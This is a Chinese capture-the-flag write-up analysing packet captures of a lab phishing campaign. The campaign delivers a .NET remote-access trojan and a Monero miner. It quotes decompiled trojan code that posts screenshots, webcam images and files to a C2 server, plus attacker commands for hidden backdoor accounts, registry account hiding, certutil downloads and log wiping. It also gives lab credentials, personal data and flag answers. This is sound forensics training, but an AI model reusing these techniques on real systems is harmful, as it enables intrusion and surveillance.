第一届好靶场综合赛-古法赛道-色情钓鱼邮件流量官网wp
本文最后更新于17 天前,其中的信息可能已经过时,如有错误请发送邮件到1416359402@qq.com

色情钓鱼邮件流量

材料清单:

编号文件名说明
A陈小明.pcapng受害者主机网络流量捕获
B攻击机.pcapng攻击者主机网络流量捕获
C服务器.pcapng邮件服务器网络流量捕获
Dsslkeys.logTLS会话密钥日志(可用于解密HTTPS流量)

提交格式: flag{答案内容},答案中若有多个值用英文逗号分隔,全部小写,无空格。

木马禁止在本机运行,木马禁止在本机运行 木马禁止在本机运行 在虚拟机运行

这个题目其实和 AI赛道的甜甜的陷阱—Windows 应急响应是同一个

甜甜的陷阱—Windows 应急响应 截图

木马禁止在本机运行

原始文件

先导入解密文件 会话主密钥

打开 Wireshark → 编辑首选项协议(Protocols)TLS

1.攻击者使用的操作系统主机名是什么?

过滤 只看DHCP服务器的

dhcp.option.hostname
#tshark命令 
tshark -r 陈小明.pcapng -Y "dhcp.option.hostname" -T fields -e ip.src -e dhcp.option.hostname | sort -u

可以看到kali为攻击机,这个主机后续又参与邮件投递和 C2 通信,因此可作为攻击机主机名。

也可以得到受害机的名字是WIN-5CNHCFAIMP9

flag{kali}

2.攻击者的IP地址是多少?

提交格式:flag{xxx.xxx.xxx.xxx}

看会话最多的

或者直接过滤主机名为 kali 的 DHCP 包

dhcp.option.hostname == "kali"
flag{192.168.39.88}

3.受害者主机一共配置了几个IP地址?请按照从小到大的顺序全部列出。

提交格式:flag{xxx.xxx.xxx.xxx,xxx.xxx.xxx.xxx,...}

受害机通过 NBNS 广播自己的主机名

nbns.name contains "WIN-5CNHCFAIMP9"
#tshark命令
tshark -r 陈小明.pcapng -Y "dhcp.option.hostname == WIN-5CNHCFAIMP9" -T fields -e ip.src | sort -u

按包号从小到大查看 Source Address,第 1173453 包分别对应四个源 IP。按从小到大排序后提交。

包号:1、17、34、53

flag{192.168.39.92,192.168.39.144,192.168.39.150,192.168.39.152}

4.邮件服务器的IP地址和域名分别是什么?(格式:IP_域名)

提交格式:flag{xxx.xxx.xxx.xxx_xxx.xxx.xxx}

SMTP 服务建立连接时会返回 220 banner

smtp.response.code == 220

可以看到服务器域名

flag{192.168.39.138_mail.jiujiu.com}

5.邮件服务器使用的是什么软件?SMTP 和 POP3 分别使用的端口号是多少?(格式:软件,SMTP端口,POP3端口)

提交格式:flag{xxx,数字,数字}

smtp.response.code == 220 || tcp.port == 25 || tcp.port == 110

在上一个包可以得到 SMTP banner 显示软件为 Postfix,TCP 源端口为 25继续看 POP3 连接,第 495 包服务端从 110 端口响应客户端,所以 POP3 端口是 110

得到答案 mang

flag{Postfix,25,110}

6.邮件服务器EHLO响应中声明支持哪些传输加密方式?

提交格式:flag{xxx}

EHLO 后服务端会用 250 响应列出能力 428 就可以看到

过滤命令

smtp.response.code == 250
flag{STARTTLS}

7.受害者主机的计算机名是什么?

提交格式:flag{xxx}

在第一题我们就得到了 DHCP里面也有 也可以随便找找就可以得到 但是主要是看受害者某个 IP 发出的 NBNS 包

nbns && ip.src == 192.168.39.150
flag{WIN-5CNHCFAIMP9}

8.网络中DHCP服务器分配给受害者的默认网关IP是多少?

提交格式:flag{xxx.xxx.xxx.xxx}

过滤 DHCP 中由 192.168.39.254 分配地址的响应包

dhcp.option.dhcp_server_id == 192.168.39.254

查看 DHCP 相关字段,可以看到分配方为 192.168.39.254;题目答案按这个网关设备地址提交

flag{192.168.39.254}

9.攻击者使用的钓鱼邮箱地址是什么?

提交格式:flag{xxx@xxx.xxx}

SMTP 发件人由 MAIL FROM 命令给出

只看邮件流量就行

smtp.req.command == "MAIL" 

看页面就可以看到了 192.168.39.138 邮件服务器 192.168.39.88 为攻击机 192.168.39.92 是受害机

flag{tiantian@jiujiu.com}

10.受害者的邮箱地址是什么?

提交格式:flag{xxx@xxx.xxx}

在上一题就可以得到了

SMTP 收件人由 RCPT TO 命令给出过滤攻击者发出的 RCPT 包 其实过滤不过滤随便一看就可以得到答案了

smtp.req.command == "RCPT" && ip.src == 192.168.39.88
flag{chenxiaoming@jiujiu.com}

11.受害者通过POP3协议收取邮件时使用的密码是什么?

提交格式:flag{xxx}

POP3 AUTH PLAIN 的认证数据是 Base64

在第 502 包 可以得到

flag{chenxiaoming123}

12.攻击者 tiantian 在 POP3 登录时使用的密码是什么?

提交格式:flag{xxx}

同样查看 POP3 AUTH PLAIN 第763 可以得到

flag{Mail#Jiujiu2026}

13.在整个攻击过程中,受害机 POP3 总共进行了几次登录?

提交格式:flag{数字}

这个题目是按唯一登录账号/凭据统计。过滤后能看到两类认证数据:第 502 包对应 chenxiaoming,第 763 包对应 tiantian。因此登录账号种类为 2。就是在流量包只可以看到这两个登录所以为2

如果需要看清楚点可以过滤

pop.request.command contains "AGNo" || pop.request.command contains "AHRp"
flag{2}

14.在整个攻击过程中,攻击者(tiantian)一共向受害者发送了多少封邮件?

提交格式:flag{数字}

每封邮件都会出现一次 MAIL FROM。输入过滤器后,统计过滤结果中的数据包数量 感觉正常做题很难数但是可以大概找找也可以在区间范围盲猜

smtp.req.command == "MAIL" && smtp.req.parameter contains "tiantian"

一共18

flag{18}

15.攻击者发送的所有邮件中,体积最大的一封邮件大小是多少字节?(SMTP SIZE参数值)

提交格式:flag{数字}

SMTP 的 MAIL FROM 参数中会携带 SIZE。过滤后逐个查看 smtp.req.parameter

smtp.req.command == "MAIL" && smtp.req.parameter contains "SIZE"
flag{9139617}

16.攻击者发送的包含恶意附件”上门服务”的那封邮件,其邮件主题是什么?(解码后的中文)

提交格式:flag{xxx}

在上题我们已经知道攻击者向 陈小明传输了色情钓鱼应用 这个是开始传输的

继续往跟进 到传输应用结束的阶段

flag{你的上门服务哦!}

17.第一封钓鱼邮件的主题是什么?(解码后的中文)

提交格式:flag{xxx}

过滤 tiantian 发出的邮件,然后按包号从小到大看第一封

imf.from contains "tiantian"

438 查看 IMF 的 Subject 字段,解码后为 哥哥

flag{哥哥}

18.攻击者(tiantian)在社工邮件中共向受害者发送了多少张PNG图片?

提交格式:flag{数字}

过滤 MIME 中的 PNG 附件

mime_multipart.header.content-type contains "image/png"

第 3669 包有 1.png,第 11664 包有 2.png和 3.png,第 21834包有 4.png和 5.png,合计 5 张 PNG 图片。

flag{5}

19.木马上线后自我复制到哪个路径,伪装成什么系统进程名?

提交格式:flag{xxx,xxx}

先下载恶意文件

根据上面可以得到信息定位第 35901 包。包里有附件 上门服务.exe。在 Wireshark 中可以用 文件(File) -> 导出对象(Export Objects) -> IMF 导出,也可以在该包 MIME 附件字段上右键保存。后面静态分析题都基于这个导出的样本。

保存分离 得到exe就行了

木马文件用ILSpy反编译

在 X(string): string 可以找到 解密函数

public static string X(string s)
{
    byte[] array = Convert.FromBase64String(s);   #Base64 解码
    byte b = 90;                                  #密钥:90(十进制,对应 ASCII 'Z',十六进制 0x5A)
    for (int i = 0; i < array.Length; i++)
    {
        array[i] ^= b;                           #逐字节异或
    }
    return Encoding.UTF8.GetString(array);       #UTF-8 转字符串
}

可以解密也就知道是怎么加密 解密直接解密在异或解就行

解密后得到

MicrosoftWindowsWMIWmiPrvSE.exe

所以完整自复制路径为 。

C:ProgramDataMicrosoftWindowsWMIWmiPrvSE.exe #伪装进程名为 WmiPrvSE.exe。 
flag{C:ProgramDataMicrosoftWindowsWMIWmiPrvSE.exe,WmiPrvSE.exe}

20.可疑文件”上门服务.exe”的SHA256哈希值是多少?

提交格式:flag{SHA256}

计算可以使用

使用 certutil(系统自带)

certutil -hashfile "上门服务.exe" SHA256

使用 PowerShell

Get-FileHash -Path "上门服务.exe" -Algorithm SHA256 #大写
(Get-FileHash -Path "上门服务.exe" -Algorithm SHA256).Hash.ToLower()  #小写

linux

sha256sum 上门服务.exe
flag{4a9ed2d751acaea3317077bd774c7044bd4e8379dceace0ca8f6e0dee7160656}

21.该恶意样本是基于什么开发框架编译的?

提交格式:flag{xxx}

die查看就行了

或者

file 上门服务.exe
flag{.net}

22.该恶意样本的PE子系统类型是什么?(十六进制值)

提交格式:flag{0x0000}

根据上一题已经知道是GUI页面 就是图形界面

2 = IMAGE_SUBSYSTEM_WINDOWS_GUI(图形界面)
3 = IMAGE_SUBSYSTEM_WINDOWS_CUI(控制台)

可以直接得到答案

flag{0x0002}

23.分析恶意文件,该恶意程序与C2服务器通信时使用的HTTP Content-Type是什么?

提交格式:flag{xxx}

恶意程序在 Wc() 方法中显式设置了 HTTP 头,继续往下看 Post()PostR(),它们都调用 Wc().UploadString(...) 发送数据,所以这个请求头会用于后续 C2 POST 通信。

flag{application/x-www-form-urlencoded}

24.分析恶意文件,该恶意程序忽略TLS证书校验所调用的对象属性全名是什么?

提交格式:flag{xxx.xxx}

继续根进 可以看到 恶意程序通过 Core.StartBeacon() 方法启动与 C2 的通信,其中使用了 ServicePointManager 来忽略 TLS 证书校验。

Core.StartBeacon()

ServicePointManager.ServerCertificateValidationCallback = 
    (RemoteCertificateValidationCallback)Delegate.Combine(
        ServicePointManager.ServerCertificateValidationCallback,
        (RemoteCertificateValidationCallback)((object a, X509Certificate b, X509Chain c, SslPolicyErrors d) => true)
    );

该回调总是返回 true,使程序接受任何 SSL/TLS 证书(包括自签名、过期、域名不匹配等),从而实现中间人攻击防御的绕过。

完整名称为:

flag{ServicePointManager.ServerCertificateValidationCallback}

25.该恶意程序在源码中硬编码了多个休眠等待时间,其中最短的固定休眠时间是多少毫秒?

提交格式:flag{数字}

直接找sleep就行了

Core -> WipeLogs() 里能看到清理事件日志的循环。这里执行 wevtutil.exe cl System/Security/Application 后休眠 200 毫秒,这是样本源码中写死的最短固定 Sleep,因此答案取 200

flag{200}

26.恶意程序回连C2服务器使用的端口号是多少?

提交格式:flag{数字}

在 exe里面就可以得到

在流量里面也可以看到

flag{8443}

27.木马 C2 备用端口是多少?

提交格式:flag{数字}

在上一个图片就可以看到答案

flag{4443}

28.C2通信使用的TLS版本和密码套件编号分别是什么?(格式:TLS版本_密码套件十六进制)

提交格式:flag{0x0000_0x0000}

过滤就只看8843的通信的 记得解密哦

tls.handshake.type == 2 && tcp.port == 8443

看第 45765 包 就可以得到了

flag{0x0303_0xc030}

29.C2通信的JA3指纹值是多少?

提交格式:flag{xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx}

过滤就行

tls.handshake.type == 1 && tcp.dstport == 8443

JA3 是 TLS Client Hello 的客户端指纹,不是服务端回包里的字段。它由客户端发起握手时带出的版本、密码套件、扩展等信息计算出来,所以要先过滤出 Client Hello,再找对应的 JA3就行

客户端的是Client Hello -> JA3

服务端的是Server Hello -> JA3S

flag{43016d7f7f9336b17c884650d0d2545d}

30.使用sslkeys.log解密C2流量后,C2心跳包的POST路径是什么?

提交格式:flag{/xxx}

http.request && tcp.port == 8443

查看 8443 上所有 HTTP 请求。按出现频率和请求内容判断,/s 是持续出现的心跳路径,而且心跳包发送到路径/s,占C2流量的绝大多数

flag{/s}

31.解密C2流量后,心跳包中上报的机器标识字段内容是什么?(完整的POST body解码后内容)

提交格式:flag{xxx=xxx&xxx=xxx}

根据上一题的过滤看8843的http 点进去看就可以得到

flag{id=WIN-5CNHCFAIMP9&s=1}

32.木马上线时向 C2 路径 /h 上报的初始信息包含哪些字段和值?(格式:字段1=值,字段2=值,字段3=值)

提交格式:flag{xxx=xxx,xxx=xxx,xxx=xxx}

还是这个过滤

http.request && tcp.port == 8443
详细过滤就是
http.request && http.request.uri == "/h" && tcp.port == 8443 
#/h是主机信息上报

再57150随便找找就可以找到

id(主机名)、user(当前用户)、os(操作系统版本)

flag{id=WIN-5CNHCFAIMP9,user=Administrator,os=Microsoft Windows NT 6.2.9200.0}

33.C2结果回传使用的POST路径是什么?

提交格式:flag{/xxx}

先解读木马有什么功能

再样本文件中我们就知道了 里面得功能

PostR("info=" + Convert.ToBase64String(...));
PostR("ps=" + Cmd("tasklist"));
PostR("screen=" + Convert.ToBase64String(array));
PostR("cam=" + Convert.ToBase64String(array));
PostR("exec=" + Cmd(...));
PostR("file=" + Convert.ToBase64String(File.ReadAllBytes(path)));
 info= 信息收集结果
 ps= 进程列表
 screen= 屏幕截图
 cam= 摄像头图片
 exec= 命令执行结果
 file= 文件内容

 所有功能
  i / info:回传基础信息
  p / ps:回传进程列表
  sc / screen:截屏回传
  c / cam:摄像头回传
  k / kill:清理持久化并退出
  e <cmd> / exec <cmd>:执行命令并回传结果
  g <path> / get <path>:读取文件并回传
  sl <ms> / sleep <ms>:休眠指定毫秒

在exe里面就知道回传路径

在恶意程序的 Core 类中,所有需要将数据发送回 C2 的操作(如屏幕截图、命令执行结果、文件上传等)都调用了 PostR(string d)方法:

private static void PostR(string d)
{
    try
    {
        Wc().UploadString("https://" + G.X(G._c2) + ":" + G._port + "/r", d);
    }
    catch { }
}

看流量也可以得到 随便点进去看看就可以看到一个命令得回传

flag{/r}

34.攻击者通过C2在受害主机上执行whoami命令后获取到的完整结果是什么?

提交格式:flag{xxxxxx}

还是这个命令只看8843

http.request && tcp.port == 8443

找一找第 51904包是服务端下发的 whoami 命令。第 51924 包是客户端回传结果

flag{win-5cnhcfaimp9administrator}

35.C2主机信息上报路径/h中包含了操作系统版本信息,受害者操作系统的完整标识是什么?

提交格式:flag{xxx}

其实是32我们已经得到答案了

随便找找就可以得到

flag{Microsoft Windows NT 6.2.9200.0}

36.攻击者通过C2在受害主机上创建了几个隐藏后门账户?分别是什么用户名?

提交格式:flag{数字,xxx,xxx}

52921包下发 net user yue Aa123456!@ /add,创建账户 yue。53132可以看到创建 yue$ 的命令,因此后门账户数为 2,账户名为 yueyue$

flag{2,yue,yue$}

37.攻击者创建 yue 账户时设置的密码是什么?

提交格式:flag{xxx}

在上一题已经得到了

flag{Aa123456!@}

38.攻击者用什么注册表路径和键值隐藏后门账户。写出完整路径、键名、类型和数值。

提交格式:flag{xxx,xxx,xxx,数字}

在53766得到

flag{HKLMSOFTWAREMicrosoftWindows NTCurrentVersionWinlogonSpecialAccountsUserList,yue$,REG_DWORD,0}

39.受害者的手机号、身份证号和家庭住址分别是什么。(手机号格式:xxx-xxx-xxx)

提交格式:flag{xxx-xxxx-xxxx,xxxxxxxxxxxxxxxxxx,xxx}

这个就是info 命令里面可以知道 继续找流量包就行了 就看就行

只看8843

http.request && tcp.port == 8443

在47975可以看到info 内容 解码 GBK

flag{138-5710-2026,330106199508151231,浙江省杭州市西湖区文一西路888号星月交响小区5幢2单元801室}

40.木马具备哪些恶意功能,对应 C2 命令字是什么。(格式:flag{命 令字:function,命令字:function},按命令字 a-z 排序;短命令按功能归一化,如 c 记为 cam、e 记为 exec、i 记为 info)

提交格式:flag{xxx:xxx,xxx:xxx}

只看回传得包 可以结合exe木马文件逆向得到得信息 就是我在33里面说得

http.request && http.request.uri == "/r" && tcp.port == 8443 && http.file_data

47635 包出现 info,对应系统信息收集

51924 包出现 exec,对应命令执行

71338 包出现 screen,对应截图

73913 包出现 cam,对应摄像头捕获。题目要求截图命令字写短名 sc

整合答案得到

flag{cam:webcam_capture,exec:command_execution,info:system_information,sc:screenshot}

41.木马屏幕截图用了什么 Windows API,图片保存什么格式,传给 C2 前做了什么编码。

提交格式:flag{xxx,xxx,xxx}

看恶意文件

G.BitBlt(intPtr, 0, 0, num, num2, dC, systemMetrics, systemMetrics2, 13369376u);

BitBlt(Bit Block Transfer)是核心的位图拷贝函数。

参数含义:

目标 DC(内存DC)、目标起始坐标 (0,0)
宽度和高度(整个屏幕)
源 DC(屏幕DC)
源起始坐标(虚拟屏幕左上角偏移)
最后一个参数 13369376 对应 SRCCOPY(简单拷贝),即直接把屏幕内容复制到内存位图

其实看流量也可以知道是什么编码了

flag{BitBlt,JPEG,Base64}

42.截图功能中 BitBlt 的 dwRop 光栅操作常量值是什么?(十六进制)

提交格式:flag{0x0000}

上一题已经得到答案了

BitBlt 调用,最后一个参数 dwRop0xCC0020,即 SRCCOPY。

flag{0xCC0020}

43.WindowsUpdate.bat创建的计划任务名称是什么?

提交格式:flag{xxx}

挖矿脚本是明文 HTTP 下载的。先看第 63328 包的 C2 命令,里面下发了 certutil 下载命令;

63296 可以看到 端口

再过滤 8888 端口 HTTP 流量,

http && tcp.port == 8888

63303 包是请求 /WindowsUpdate.bat

63306 包是脚本响应,下面十题主要看第 63306 包响应体内容

43题答案

flag{WindowsRuntimePlatformUpdate}

44.该挖矿脚本连接的矿池地址和端口是什么?(格式:地址:端口)

提交格式:flag{xxx.xxx.xxx:数字}

flag{xmr.cryptonight-hub.com:443}

45.该挖矿脚本挖掘的是什么加密货币?

提交格式:flag{xxx}

查找 coin 字段,值为 monero

flag{monero}

46.挖矿脚本使用的挖矿算法是什么?

提交格式:flag{xxx}

配置里出现 randomx 相关字段,且 Monero 默认算法也是 RandomX。

flag{RandomX}

47.挖矿程序使用的钱包地址是什么?

提交格式:flag{xxx}

看 user字段,长字符串就是门罗币钱包地址

flag{49XnPvDkmNQSPBGKEgTRpnHfv7PZiEMVzDGmNcLHn5FyLYuFmJRLBAwMbBF1fQRHGpzCwp9hHt6NsfrSPeXQqzqZRa1p2aZ}

48.挖矿配置中的worker密码(pass字段)是什么?

提交格式:flag{xxx}

看pass就行了

flag{RTPlatformSvc}

49.挖矿脚本将自身和配置文件安装到哪个目录?(使用环境变量表示)

提交格式:flag{%xxx%xxx}

变量 d 被设置为 %APPDATA%MicrosoftWindowsRuntimePlatform,这是矿工落地安装目录

flag{%APPDATA%MicrosoftWindowsRuntimePlatform}

50.该计划任务设置的执行频率是什么?(每隔多少小时执行一次)

提交格式:flag{数字}

schtasks /create 命令,命令参数包含 /sc hourly /mo 2,表示每 2 小时执行一次

flag{2}

51.挖矿脚本使用了什么技术来隐藏自身文件?

提交格式:flag{xxx}

还是看同一个包可以看到 看到多处使用 attrib +h 给文件或目录添加隐藏属性

flag{attrib +h}

52.攻击者通过 C2 下载挖矿脚本 时,使用的 Windows 内置下载命令及参数前缀是什么? 格式:flag{命令 参数1 参数2 参数3 参数4}

提交格式:flag{xxx xxx xxx xxx}

在第43题我们就已经知道答案了

63296

flag{certutil -urlcache -split -f}

53.在所有邮件往来中,攻击者用于投递恶意程序的IP地址与C2控制端的IP地址是否是同一个?如果是,该IP是多少?

提交格式:flag{xxx.xxx.xxx.xxx}

看邮件投递

smtp.req.command == "MAIL" && smtp.req.parameter contains "tiantian"

源 IP 是 192.168.39.88

tcp.port == 8443 && ip.addr == 192.168.39.88

看 C2 通信,第 45220 包显示受害机连接的目的 IP 也是 192.168.39.88,因此投递恶意程序和 C2 是同一 IP。

flag{192.168.39.88}

54.从邮件投递到C2上线,受害主机发起C2连接的源IP是哪个?

提交格式:flag{xxx.xxx.xxx.xxx}

还是看8843

tcp.port == 8443 && tcp.flags.syn == 1 && tcp.flags.ack == 0

看木马上线的第一个 SYN 包。45220包源 IP 为 192.168.39.152,目的 IP 为攻击者 192.168.39.88

flag{192.168.39.152}

55.在C2通信流量中,一共捕获到了多少个心跳包(POST /s请求)?

提交格式:flag{数字}

http.request && http.request.uri == "/s" && tcp.port == 8443

统计 HTTP 请求包,不统计响应包,过滤结果一共 689 个,首个心跳是第 45771包,最后一个心跳是第 75214 包

flag{689}

56.受害者主机名为WIN-5CNHCFAIMP9,该主机使用了多少块网卡?

提交格式:flag{数字}

可以看

nbns.name contains "WIN-5CNHCFAIMP9"

可以先用 NBNS 过滤受害者主机名。第 1、17、34、53包都出现 WIN-5CNHCFAIMP9,并且对应四个不同源 IP 和四个不同 VMware MAC,说明这台主机至少有 4 个网卡地址

也可以直接看攻击者后面下发的 ipconfig /all 命令

下发命令包:70266,回传结果包:70280

flag{4}

蟹蟹观看!

文末附加内容
暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇